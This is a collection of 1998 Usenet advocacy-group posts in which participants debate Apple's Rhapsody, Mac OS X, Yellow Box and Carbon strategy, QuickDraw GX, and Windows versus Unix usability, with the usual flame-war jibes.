Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.sun.misc,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.os2.advocacy
Subject: Re: Pussy Puddles vs. Micro$loth
References: <6j65u1$c04$1@news.orbitworld.net> <nYv61.155$Q22.1604745@newsread.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Nephilim wrote:
>
> Wake up and smell the coffee. Windows, no matter how unreliable and
> unstable, is still a far superior O/S for the common man, and the average
> small to medium business. How many people do you HONESTLY know of that
> could run Unix? Those of us who can run Unix are the elite few. Most
> people had a hard enough time with DOS. Then there is a matter of software.
> It's just not there for Unix, BeOS, OS/2, Linux, etc. Microsloth has the
> largest following for a reason, and it's not because they suck.
It's because they took the ideas of the real innovators while saying
"This is easy to use!" and did some quaint marketing.
The Mac is a hell of a lot easier to use than Winblows and is
considerably more efficient, despite some minor issues.
Then the problem lies with the common man. Whether by natural stupidity
or someone's idea to make common man stupid, Microsoft took natural
advantage.
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 22:30:07 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-1405982230070001@mv079.axom.com>
References: <1d8yqsc.1875mjiash37cN@desktop.tom-e.private> <B17FA88B-D17A@206.165.43.138>
In article <B17FA88B-D17A@206.165.43.138>, "Lawson English"
<english@primenet.com> wrote:
>Thomas Engelmeier <tom@engelmeier.com> said:
>
>>
>>????? Are you talking 'bout Grafics or Typography? For the later I
>>agree, but, for 2D Grafics stuff - what is necessary what QD doesn't
>>provide? (I usually use no QD at all... QD 3D, Mesa 3D, QT, grafics
>>importers etc...)
>
>
>
>Lessee, does QuickDraw provide resolution-independent vector graphics? A
>coherent retained-mode API? Text-as-graphics? The ability to use text as a
>clip-shape? The ability to group color, transform, clip and style info? The
>ability to HAVE such info beyond the simple RGB available in 32-bit
>QuickDraw?
>
>There are three main books involved in programming GX. Only one of which
>involves typography. Do you REALLY want to try to compare the feature-set
>of 32-bit QuickDraw and GX?
Relax Lawson, I've figured it out. See Apple did the ol' switcharoo and
renamed Rhapsody 2.0 to Mac OS X to pull the wool over the eyes of Mac
developers. Also, as somone noted here, OpenStep is percieved by some as
a 'failure' because it didn't gain marketshare. This way every copy of
Mac OS X can run OpenStep programs and by changing the name of OpenStep
several times, Apple removes the onus of failure, allowing people to see
it honestly. It also helps when people can view Carbon and Yellow apps
side by side as well.
Well, the new question of the day is what is the 'graphics layer' of Mac
OS X. All we know is that it's been compared to postscript graphics w/o
the postscript language. (This is where you'll _really_ get interested).
I think that Apple's pulling the same thing with the Graphics layer. It's
really QuickDraw GX! They can't call it that, or they'll look like fools
for dropping support of it _and_ the market's pretty much mass rejected
GX. Now Apple can slide it under the noses of Mac OS _and_ Yellow
programmers!
Best of all, Adobe won't know what's happening 'till it's too late! Since
they've already demoed a Carbon Photoshop (and said how easy it was) it'd
be a bit hard for them to not ship a Carbon Photoshop and they could do
little else to derail Mac OS X, and the ascendancy of GX. Now any two bit
hack can make Illustrator and put them out of business!
OS X in 99, Adobe dead two years later!
--
Ted Brown tbrown@netset.com
From: morbius@eatspam&die.net (Morbius)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Thu, 14 May 1998 19:09:13 -0800
Organization: Mind's I Inc.
Message-ID: <morbius-1405981909280001@1cust48.tnt1.santa-monica2.ca.da.uu.net>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <nospam-1305981544240001@pool002-max3.ds12-ca-us.dialup.earthlink.net> <6je346$k0f$1@larry.admin.phil.uu.nl>
In article <6je346$k0f$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
Wiedijk)stepped up to the mike and sang:
> Robin:
>
> >> 3 Unix reasons: Stability Stability Stability
> >No longer much of an issue since 7.6.1.
>
> _Je_zus.
Do you mean Iehova? Isus? Jesus? Zeus?...:)
Morbius
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 22:40:35 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-1405982240360001@mv079.axom.com>
References: <djboccip-1305981552470001@qburst.msfc.nasa.gov> <B17F8171-2CCAA@206.165.43.40> <355A7F01.2DC4FA27@trilithon.com> <nagleEsxrz1.Grn@netcom.com> <355AECC0.5FA7A8E7@milestonerdl.com>
In article <355AECC0.5FA7A8E7@milestonerdl.com>, mark@milestonerdl.com wrote:
>As I remember it, Microsoft wouldn't ship betas unless you signed the NDA
>that said you agreed not to work on OpenDoc.
Is this true? Do you have a source for that? This seems far more of an
abuse of 'monopoly power' than some of the other things that the DOJ is
after.
--
Ted Brown tbrown@netset.com
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Thu, 14 May 1998 20:10:06 -0700
Message-ID: <see-below-1405982010060001@209.24.240.162>
References: <ericb-1105981718430001@132.236.171.104> <EsvyKp.7tA@micmac.com> <see-below-1305981927430001@209.24.241.190> <355B18A1.E7370B93@nospam.com> <6jfdos$7au$1@crib.bevc.blacksburg.va.us>
In article <6jfdos$7au$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <355B18A1.E7370B93@nospam.com>, Tim Triemstra
<nospam@nospam.com> wrote:
>
> > It makes *everything* so much clearer since *noone* with switch to
> > Rhapsody. It is a version of Unix for a company that has no Unix
> > experience.
>
> ???! Not only does Apple have Unix experience (A/UX and AIX),
and MkLinux.
> but their
> whole Rhapsody development team was taken from NeXT, with over a decade
> of solid Unix experience. Their VP of Software Engineering is from NeXT.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 20:20:34 -0700
Message-ID: <see-below-1405982020340001@209.24.240.162>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com> <6jd1s0$5nv$2@msunews.cl.msu.edu> <355B338C.8A90A5C5@spamtoNull.com>
In article <355B338C.8A90A5C5@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> spammers@ruin.the.internet.channelu.com wrote:
>
> >
> > YB is going no-where? Read this: IT IS THE CORE OF APPLE's
> > TECHNOLOGY. If you code there you'll be fine as long as
> > Apple is around. If they screw that up then you can moan
> > and groan. Frankly I'll be trying to code in such a way as
> > to isolate GUI from the guts JIC (if I start coding for YB).
>
>
> I never said that YB is "going nowhere." What I said is that it will
> *definitely* go nowhere *if* is is perpetually 18 months out. That seems
> like no more than common sense.
But it will be shipped to customers in four months. How did that suddenly
become 18 months?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 20:34:45 -0700
Message-ID: <see-below-1405982034460001@209.24.240.162>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104>
In article <ericb-1405981159190001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <andyba-ya02408000R1205981008330001@news>,
> andyba@corp.webtv.net (Andy Bates) wrote:
>
> > In article <ericb-1105981832070001@132.236.171.104>, ericb@pobox.com (Eric
> > Bennett) wrote:
> >
> > > I know that Rhapsody will ship! My objection is that Apple's mainstream
> > > OS for the average Mac user is not shipping until 1999!
> >
> > Sure it is! It's called MacOS 8.5, and it's shipping in Fall of 1998.
>
> I meant *modern* mainstream OS. Sorry I left out that crucial word.
Well, they hadn't promised anything more. From day one Apple stressed that
even the Unified release of Rhapsody wasn't for everyone!
> > And for anyone who wants to write NEW applications, the Rhapsody
> > development environment will still be the best thing for them. And for
> > people who want other advanced Rhapsody features (such as OO development
> > and cross-platform), they'll still need to port to Rhapsody.
>
> But the apps everyone depends on today will not be rewritten for YB. No
> Photoshop, no WordPerfect, no Excel...
Probalby not yet, but then again that wasn't going to happen anyway,
through no fault of Apple's.
> > It is NOT another significant delay! It is adding a new feature set in the
> > future, over and above what was already promised (which is still coming out
> > on time).
>
> Yeah, right. This "adding a new feature set" excuse is the same BS we got
> when they replaced Copland with Rhapsody. "We're killing our old
> modernized OS but we'll give you something even better!"
But they didn't kill it. First of all, Rhapsody CR1 is still due _this_
September, only a bit late, and with all the promised features. That's
_everything_ that was promised before! Apple never implied they would be
shipping anything more than that!
Also, when they killed Copland, they killed it dead, with a stake through
the heart and a formal burial. Even the first developer release never saw
the light of day. And "killing" Rhapsody to make OS X wouldn't really be
that significant a statement anyway (even if it were true), since OS X is
really just Rhapsody with a few minor changes and some added
functionality.
> OS that gets better and better and better but is always 18 months away
> from being shipped. I would be much happier with an OS that Apple can
> ship on time, even if it doesn't provide anything more than memory
> protection and PMT.
It's only the version that's better than anything they promised before
that's being shipped in 16 months. What they previously promised is still
slated to ship in 4 months (both MacOS 8.5 and Rhapsody CR1).
> > To be fair, Apple said a long time ago that Rhapsody will not be for the
> > average user.
>
> The original plan, as I recall it, was that Rhapsody (and YB with
> cross-platform compatibility) would become Apple's mainstream OS.
While it was implied that this might eventually happen, most of it was
overenthusiastic reading between the lines. From the very beginning, Gil
Amelio, Steve Jobs, and many others at Apple have gone to great pains to
communicate that Rhapsody would _not_ be their main consumer OS before the
end of the century.
> Parts
> of Rhapsody are still going to be included, but YB looks like more of an
> afterthought at this point.
>
> > If people don't want to port, then the apps won't run on Intel, just like
> > they wouldn't before. But now, they WILL have modern OS features on the
> > Mac. And if people start from scratch, they can write Rhapsody apps that
> > will run on both.
>
> But they've got to be skeptical about learning YB so they can be
> cross-platform compatible when they can't be sure there will be YB on
> anything but PPC over the long term.
>
> The current strategy is fine for defending the exist Mac market. Apple
> *had* a plan for *expanding* by encouraging develpers to port to a
> cross-platform environment that would run on Intel systems. They are now
> either throwing that away or largely ignoring it (I will change my mind if
> and when Apple clearly commits to YB for Windows over the long term).
Okay. While I think it's premature to conclude that just because they're
throwing Mac developers a much-needed bone, that they're as a result
abandoning every other aspect of their strategy, I do agree that it would
be nice to hear unequivocally from Apple.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 20:36:57 -0700
Message-ID: <see-below-1405982036570001@209.24.240.162>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu> <6jd1ov$1a3$1@xmission.xmission.com> <see-below-1305982109180001@209.24.241.190> <355ADAA0.4CE902A1@milestonerdl.com>
In article <355ADAA0.4CE902A1@milestonerdl.com>, mark@milestonerdl.com wrote:
> Matthew Vaughan wrote:
>
> > I would like to hear their plans, too. I suspect they _will_ sell Rhapsody
> > for Intel, but without Blue Box and Carbon. So it will only run Yellow Box
> > applications (and other unix stuff, as well as Windows on the same machine
> > - if you want it - and perhaps in a SoftWindows-type environment). Which
> > should make the current OpenStep users happy, and make a fine server OS,
> > and work fine for certain workstation applications as well. But at the
> > same time it won't at all compete with MacOS/Rhapsody PPC for Apple's
> > current customers, which is good for Apple's bottom line (considering it's
> > their gross margins on PPC Mac hardware that's paying for all this great
> > stuff!)
>
> As Apple makes its money on PPC hardware, and the above points out how Apple
> might just be planning on a bait and switch.
>
> The more YellowBox platforms supported, and the further in the future that
> support is pledged, the more likely YellowBox isn't a bait-and-switch ploy.
Yes, and I see other signs that Apple _does_ have a cross-platform
strategy: Java and QuickTime for Windows. Why spend so much effort on
these things if all they're going to do is emphasize Mac-compatible
applications on PPC? I see these in conjunction with Yellow Box as central
to Apple's long-term strategy.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 20:44:57 -0700
Message-ID: <see-below-1405982044570001@209.24.240.162>
References: <35593b48.6388203@198.0.0.100> <B17DF73F-8875F@209.109.225.96> <ericb-1405981243410001@132.236.171.104>
In article <ericb-1405981243410001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> I agree but at least it looks like we *will* get Rhapsody/PPC in
> September. That will deliver on many of Apple's old promises.
>
> It will be late, and the x86 version looks DOA,
If that's the case, why would they even bother shipping DR2, which is
still on track for delivery in a couple of weeks?
> but at least they are
> shipping us an OS, and from what I can tell almost anything that runs on
> MacOS 8 will run on Rhapsody 1.0 and anything that runs on Rhapsody 1.0
> will run on MacOS X (with the probably exception of system extensions that
> are emulated in the Rhapsody blue box but are not supported in OS X).
I assume extensions will still be supported in the Blue Box on OS X (as
separate from Carbon), but I'm not sure of that.
> I'm
> disappointed, but this is still a big improvement over what we got out of
> the Copland mess.
I agree with that, but what are you disappointed about? Other than
shipping a bit late (September being kind of at the tail end of the
summer, and there wasn't a customer release in January), Apple is
delivering literally everything they promised last year. I still don't see
what the problem is.
> My feeling is that Apple is going to do just fine keeping the current
> MacOS market alive, but that they are largely throwing away a great way to
> expand their reach (YB).
I don't think they're doing that at all. I think Apple's biggest concern
right now is stopping the exodus (or potential exodus) of Mac developers.
Once that situation is more under control, I think we'll see their
long-term strategy more clearly, including Yellow Box/QuickTime/Java as a
cross-platform standard.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 03:38:47 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jgdc7$s45$1@camel18.mindspring.com>
References: <ericb-1105981718430001@132.236.171.104> <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <see-below-1405982010060001@209.24.240.162>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <355B2EE2.654AA8E2@milestonerdl.com> M Rassbach,
mark@milestonerdl.com writes:
>We now return you to dig up a real live NT 5.x committment.
When NT5 ships in the year 2000 you will see this committment.
MC
Date: Wed, 13 May 1998 22:30:36 -0500
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <djboccip-1305982230370001@tnt3-69.hiwaay.net>
References: <djboccip-1305981552470001@qburst.msfc.nasa.gov> <B17F8171-2CCAA@206.165.43.40>
Organization: NASA/MSFC HR-20
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
In article <B17F8171-2CCAA@206.165.43.40>, "Lawson English"
<english@primenet.com> wrote:
> ...
> >>
> >> Tepid support for YB is easy to explain:
> >> OpenDoc
> >> QDGX
> >> PowerTalk
> >> Copland
> >> .
> >> .
> >> .
> >>
> >
> >The first three items you listed have (a) been made available
> > to developers prior to release, (b) been released and (c) met
> > with little developer interest, and hence placed in maintenance
> > mode or phased out.
> >
>
> I think that you are re-inventing history. OpenDoc met with TREMENDOUS
> developer interest. 1000 major companies endorsed it (name 100 companies
> that have endorsed MacOS X).
>
> GX met with tremendous developer interest. How many GX books were sold, I
> wonder? How many people learned the API? Relatively few people were writing
> apps for it, but of those apps that DO use it, virtually all commercial
> apps are ranked 3 stars and above by MacWorld/MacUser. And, once GXFCN
> starts shipping, watch the interest go right back up.
>
Sorry, I should have been more precise on (c). Shall we rephrase
to something like "did not meet with enough corporate commitment
to get shipping products out the door"?. Developer interest may not
necessarily = management commitment. Heck, I would think any good
developer would be interested in neat technologies like OpenDoc
and GX. That's different from putting up the investment and manpower
and committing to a product.
The implication in the original "tepid" post was that the four listed
technologies were vaporware, which is about 87% untrue. Apple
delivered as promised (Copland guts aside), and at the time the projects
were shelved didn't exactly have dozens of shipping apps to look at to
convince it otherwise. I'd agree it didn't go out of its way to integrate
the techs into the OS (see John Moreno's next post), but at the time
the things were relative _pigs_ in terms of resource hogging, both in
precious system RAM and precious disk space (well, GX and PowerTalk at
least). So part of the downfall might be due to lackluster Apple
support, but part of it had to be lack of developer/software company
interest.
As for endorsements, take OpenDoc - IIRC, at the time component technology
and document-based systems were all the rage in the Wintel development
world as well. Years later, an app is still more or less an app is still
more or less an app. The idea was wonderful but apparently not
compelling enough to change the basic paradigm. As I take it, initial
endorsements mean nothing more than "we're not going to turn up our
noses at this from the git-go", but are a far cry from "here's our v1.0 app".
Anyway, I still claim that the "tepid support" quote above citing
defunct or partially finished technologies does nothing to explain
current "tepid support for YB"...
MHO,
DJB
--
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/ Dr. Dennis J. Boccippio _/
_/ Global Hydrology and Climate Center, NASA / MSFC HR-20 _/
_/ Marshall Space Flight Center, AL 35812 _/
_/ http://fly.hiwaay.net/~djboccip/intro.html _/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 20:59:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1810BBB-15F43@206.165.43.99>
References: <tbrown-1405982230070001@mv079.axom.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Ted Brown <tbrown@netset.com> said:
>Well, the new question of the day is what is the 'graphics layer' of Mac
>OS X. All we know is that it's been compared to postscript graphics w/o
>the postscript language. (This is where you'll _really_ get interested).
>I think that Apple's pulling the same thing with the Graphics layer. It's
>really QuickDraw GX! They can't call it that, or they'll look like fools
>for dropping support of it _and_ the market's pretty much mass rejected
>GX. Now Apple can slide it under the noses of Mac OS _and_ Yellow
>programmers!
PS graphics sans PS language is Bravo.
If THAT is what MacOS X developers are going to be working with (I was at
least hoping for some procedural APIs allowing access to the various OOP
classes that Mike Paquette has been working with), then Apple had better be
prepared for a LOT of egg on its face, since Bravo can't even remotely
compete with Rhaposdy graphics, letalone GX.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 21:11:32 -0700
Message-ID: <see-below-1405982111320001@209.24.240.162>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <3559E9B3.5718F3D7@spamtoNull.com> <pulsar-ya02408000R1305981507200001@news-proxy.cso.uiuc.edu> <355B30E7.884258AD@spamtoNull.com>
In article <355B30E7.884258AD@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Pulsar wrote:
>
> >
> > Architecturally, the Mac OS is way past its prime. The name still holds a
> > lot of power. Mac OS X will look just like the Mac OS. Few people will
> > really notice or much care that the core has been ripped out and replaced
> > with Rhapsody. To users it will just be a better Mac OS and not something
> > entirely different *with a different name*.
> >
>
>
> I disagree. I think "Mac OS" has long denoted the past, not the future.
> The idea of Rhapsody, for instance, was extremely well-received by the
> Mac community. People had actually gotten used to the name. The press
> had even picked it up. Now, what has Jobs sown but more confusion?
>
> Nope, the idea that "the past is better" is entirely the invention and
> the construct of Steve Jobs. He's wrong. He's been out of the consumer
> market loop for a decade. It's really sort of strange, though, that now
> that he's back in he should make the assumption that "nothing has
> changed."
I think you're wrong. While we all talk about Rhapsody here, 90% of
Macintosh users probalby have no clue what it is, if they've even heard of
it. And if they have heard of it, they're probalby very unclear on whether
it runs on the same hardware, or will run their existing software.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 20:56:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1810ADA-12A90@206.165.43.99>
References: <6jft1v$83b$1@crib.bevc.blacksburg.va.us>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Nathan Urban <nurban@crib.bevc.blacksburg.va.us> said:
>
>You're obviously missing the point. Yellow and Carbon are not _competing_
>with each other in the sense that Windows and MacOS were. Either one
>results in Mac applications and neither needs to replace the other.
However, they ARE competing for the attention of developers.
I rather like the Carbon idea except for a couple of things:
1) MacOS 8.x apparently will never run YB apps so it can't directly access
DPS or the Rhaposdy graphics framework.
2) Carbon apps can't use GX and they can't use the YB framework directly
either, because if they did, they couldn't run under MacOS 8.x.
In other words, developers of Carbon-based apps can't use GX *OR* a
DPS-based GX-like entity
and
MacOS 8.5 users won't see the best developers even considering GX (if they
ever would) because the best developers want to target to the high-end,
which can't use GX.
So MacOS developers have crippled graphics and Yellow Box developers have a
crippled MacOS market.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 21:14:27 -0700
Message-ID: <see-below-1405982114280001@209.24.240.162>
References: <ericb-1105981718430001@132.236.171.104> <6jd2q7$bs1$1@nnrp1.dejanews.com> <355A0313.E62651A2@milestonerdl.com> <355A04FC.420CED76@milestonerdl.com> <6jd44l$522$1@camel21.mindspring.com> <355B3865.D74E6279@spamtoNull.com>
In article <355B3865.D74E6279@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Matthew Cromer wrote:
> >
> >
> > Brad, don't bother replying to Harker. He is nothing more than a rabid
> > troll.
>
> I like to think of myself more as a "reasonable counterpoint" than a
> rabid troll, thank you...:)
Reasonable? You must be kidding. To be reasonable, you'd need to have some
relationship to reality.
> But I will cheerfully admit that I am in
> probably the wrong place to talk about "reason"....:)
Yes, but we'd have a better chance of that if you left.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: die.spammer@choking.on.your.own.feces.org (Dr_Bob)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.sun.misc,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.os2.advocacy
Subject: Re: Pussy Puddles vs. Micro$loth
Date: Thu, 14 May 1998 21:07:14 -0700
Organization: All USENET -- http://www.Supernews.com
Message-ID: <die.spammer-1405982107150001@du188.inow.com>
References: <6j65u1$c04$1@news.orbitworld.net> <nYv61.155$Q22.1604745@newsread.com> <6jf7oi$5cc$1@interport.net>
In article <6jf7oi$5cc$1@interport.net>, float@interport.net wrote:
>Nephilim (nephilim@hotmail.com) wrote:
>
>: How many people do you HONESTLY know of that
>: could run Unix? Those of us who can run Unix are the elite few.
>
>Anyone who can make NT work reliably is more than skilled enough to work
>Unix. In fact, they might be able to turn water into wine and heal the
>sick.
or spin straw into gold. It's not safe just to say that an NT wiz can be
a unix wiz, however, those who have not succumb to propaganda could learn
UNIX in far less time than it takes to master NT.
--
Dr. Bob - BOFH
Nanjing' 38 Hiroshima' 45 Chelnobyel' 86 Windows' 95
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Thu, 14 May 1998 22:37:09 -0700
Message-ID: <see-below-1405982237090001@209.24.240.162>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5>
In article <355af407.0@206.25.228.5>, jkheit@xtdl.com wrote:
> see-below@not-my-address.com (Matthew Vaughan) wrote:
> > In article <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu>,
> > rkt1@cornell.eduz (Tapella) wrote:
>
> > Nicely put. Mac users don't want unix, or any other system, so
> > much as they want a better MacOS. Conversely, they don't really
> > care if it's got unix underneath, so long as it still looks and
> > feels like MacOS to them.
>
> I disagree to some extent. To me it seems like some mac users not
> only dont want unix, but they don't want others to be able to use
> it if they don't. Heaven forbid (i.e. apple) if others might
> actually make use of something they don't feel like learning. So
> in some twisted fashion and perhaps for reasons of fearing falling
> behind in technical prowess they will begrudge others the opportunity
> to use better technology.
What prompts you to say that?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Thu, 14 May 1998 22:35:22 -0700
Message-ID: <see-below-1405982235220001@209.24.240.162>
References: <35598540.E4C37882@milestonerdl.com> <3559CE7F.7207302C@milestonerdl.com> <6jcu11$4ng$1@crib.bevc.blacksburg.va.us> <6je2ub$ju9$1@larry.admin.phil.uu.nl> <6jead6$694$1@crib.bevc.blacksburg.va.us>
In article <6jead6$694$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <6je2ub$ju9$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl
(Freek Wiedijk) wrote:
>
> > Nathan:
>
> > >If it's got the kernel and associated setup (like /etc),
> > >then it's Unix even if it doesn't ship with all the utils.
> > >(IMHO, of course.)
>
> > Hm. But things like /etc/rc* use the "utils" rather heavily,
> > no? That world is all one big shell script. So I'd expect
> > it's not that easy to get rid of "the utils" if you're going
> > to undress an existing Unix (or Unix-based) system. Which
> > Mach is.
>
> Exactly. Which is why I suspect that sinc MacOS X appears to have BSD
> underpinnings, it will have a minimal /bin with it too. But I don't
> think that the default OS X install will come with a full complement of
> Unix utils, or man pages or any of that stuff -- just the minimum needed
> for booting.
What I've heard is that Unix will still be in OS X, but will be "well hidden."
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Thu, 14 May 1998 22:36:33 -0700
Message-ID: <see-below-1405982236330001@209.24.240.162>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <35597958.2ED785AD@milestonerdl.com> <rmcassid-1305981043090001@dante.eng.uci.edu>
In article <rmcassid-1305981043090001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <35597958.2ED785AD@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> >Christian Benesch wrote:
> >
> >> Is there really such a Unix-phobia in the Mac-community?
> >
> >Yup. There is. They are 'comfotable' with 'MacOS'
>
> Well, if you consider that MacOS X could very likely wind up being the OS
> my mom uses in 3 years, the question becomes: Can you ensure that she will
> never, ever have to see the command line regardless of what kind of
> routine nastiness should occur to the system? If the answer is no, then
